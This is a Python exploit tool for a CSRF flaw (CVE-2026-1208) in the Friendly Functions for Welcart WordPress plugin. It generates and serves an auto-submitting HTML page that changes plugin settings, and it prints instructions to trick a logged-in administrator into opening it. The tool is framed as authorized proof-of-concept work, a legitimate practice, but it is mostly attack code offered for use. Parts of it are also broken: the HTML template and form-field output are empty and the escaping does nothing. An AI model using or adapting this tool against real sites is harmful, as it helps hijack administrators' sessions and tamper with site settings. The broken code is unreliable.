#!/usr/bin/env python3
"""
CVE-2026-1208 - Friendly Functions for Welcart CSRF PoC Generator
For educational and authorized testing purposes only
This script generates a malicious HTML page that exploits the CSRF vulnerability
in Friendly Functions for Welcart plugin versions <= 1.2.5
"""
import argparse
import sys
import os
from urllib.parse import urlparse
from http.server import HTTPServer, SimpleHTTPRequestHandler
import threading
import webbrowser
BANNER = """
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2026-1208 - CSRF PoC Generator ║
║ Friendly Functions for Welcart Settings Update CSRF ║
║ ║
║ Discovered by: Kai Aizen (SnailSploit) ║
║ For authorized security testing only ║
╚═══════════════════════════════════════════════════════════════════╝
"""
CSRF_TEMPLATE = """
Loading...
"""
DEFAULT_PAYLOADS = {
"ffw_setting_option_1": "malicious_value_1",
"ffw_setting_option_2": "malicious_value_2",
"ffw_enable_feature": "1",
}
def validate_url(url: str) -> str:
"""Validate and normalize target URL."""
if not url.startswith(('http://', 'https://')):
url = 'https://' + url
parsed = urlparse(url)
if not parsed.netloc:
raise ValueError(f"Invalid URL: {url}")
return url.rstrip('/')
def generate_form_fields(payloads: dict) -> str:
"""Generate hidden form fields from payload dictionary."""
fields = []
for name, value in payloads.items():
escaped_name = name.replace('"', '"')
escaped_value = str(value).replace('"', '"')
fields.append(f' ')
return '\n'.join(fields)
def generate_csrf_page(target_url: str, payloads: dict = None, delay: int = 500) -> str:
"""Generate the CSRF HTML payload page."""
if payloads is None:
payloads = DEFAULT_PAYLOADS
form_fields = generate_form_fields(payloads)
return CSRF_TEMPLATE.format(
target_url=target_url,
form_fields=form_fields,
delay=delay
)
def save_payload(content: str, output_path: str) -> None:
"""Save the CSRF payload to a file."""
with open(output_path, 'w', encoding='utf-8') as f:
f.write(content)
print(f"[+] CSRF payload saved to: {output_path}")
def serve_payload(port: int, directory: str) -> None:
"""Start a simple HTTP server to serve the payload."""
os.chdir(directory)
handler = SimpleHTTPRequestHandler
httpd = HTTPServer(('0.0.0.0', port), handler)
print(f"[*] Serving CSRF payload at http://0.0.0.0:{port}/csrf_payload.html")
print("[*] Press Ctrl+C to stop the server")
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\n[*] Server stopped")
httpd.shutdown()
def parse_custom_payloads(payload_str: str) -> dict:
"""Parse custom payloads from command line argument."""
payloads = {}
pairs = payload_str.split(',')
for pair in pairs:
if '=' in pair:
key, value = pair.split('=', 1)
payloads[key.strip()] = value.strip()
return payloads
def main():
print(BANNER)
parser = argparse.ArgumentParser(
description='CVE-2026-1208 - Friendly Functions for Welcart CSRF PoC Generator',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t https://vulnerable-site.com
%(prog)s -t https://vulnerable-site.com -o /tmp/exploit.html
%(prog)s -t https://vulnerable-site.com --serve -p 8080
%(prog)s -t https://vulnerable-site.com --payloads "option1=value1,option2=value2"
"""
)
parser.add_argument(
'-t', '--target',
required=True,
help='Target WordPress site URL'
)
parser.add_argument(
'-o', '--output',
default='csrf_payload.html',
help='Output file path (default: csrf_payload.html)'
)
parser.add_argument(
'--payloads',
help='Custom payloads as comma-separated key=value pairs'
)
parser.add_argument(
'--delay',
type=int,
default=500,
help='Delay in ms before auto-submit (default: 500)'
)
parser.add_argument(
'--serve',
action='store_true',
help='Start HTTP server to serve the payload'
)
parser.add_argument(
'-p', '--port',
type=int,
default=8888,
help='Port for HTTP server (default: 8888)'
)
parser.add_argument(
'--open-browser',
action='store_true',
help='Open payload in browser (for testing)'
)
args = parser.parse_args()
try:
target_url = validate_url(args.target)
print(f"[*] Target: {target_url}")
# Parse custom payloads if provided
payloads = None
if args.payloads:
payloads = parse_custom_payloads(args.payloads)
print(f"[*] Custom payloads: {payloads}")
else:
print(f"[*] Using default payloads: {DEFAULT_PAYLOADS}")
# Generate CSRF payload
csrf_html = generate_csrf_page(target_url, payloads, args.delay)
# Save payload
output_dir = os.path.dirname(os.path.abspath(args.output))
if output_dir and not os.path.exists(output_dir):
os.makedirs(output_dir)
save_payload(csrf_html, args.output)
# Open in browser if requested
if args.open_browser:
webbrowser.open(f'file://{os.path.abspath(args.output)}')
# Start server if requested
if args.serve:
serve_payload(args.port, os.path.dirname(os.path.abspath(args.output)) or '.')
print("\n[+] CSRF payload generated successfully!")
print("[*] To exploit:")
print(" 1. Host this HTML file on your server")
print(" 2. Trick an authenticated admin to visit the page")
print(" 3. Settings will be modified via CSRF")
except ValueError as e:
print(f"[-] Error: {e}")
sys.exit(1)
except KeyboardInterrupt:
print("\n[*] Interrupted by user")
sys.exit(0)
except Exception as e:
print(f"[-] Unexpected error: {e}")
sys.exit(1)
if __name__ == "__main__":
main()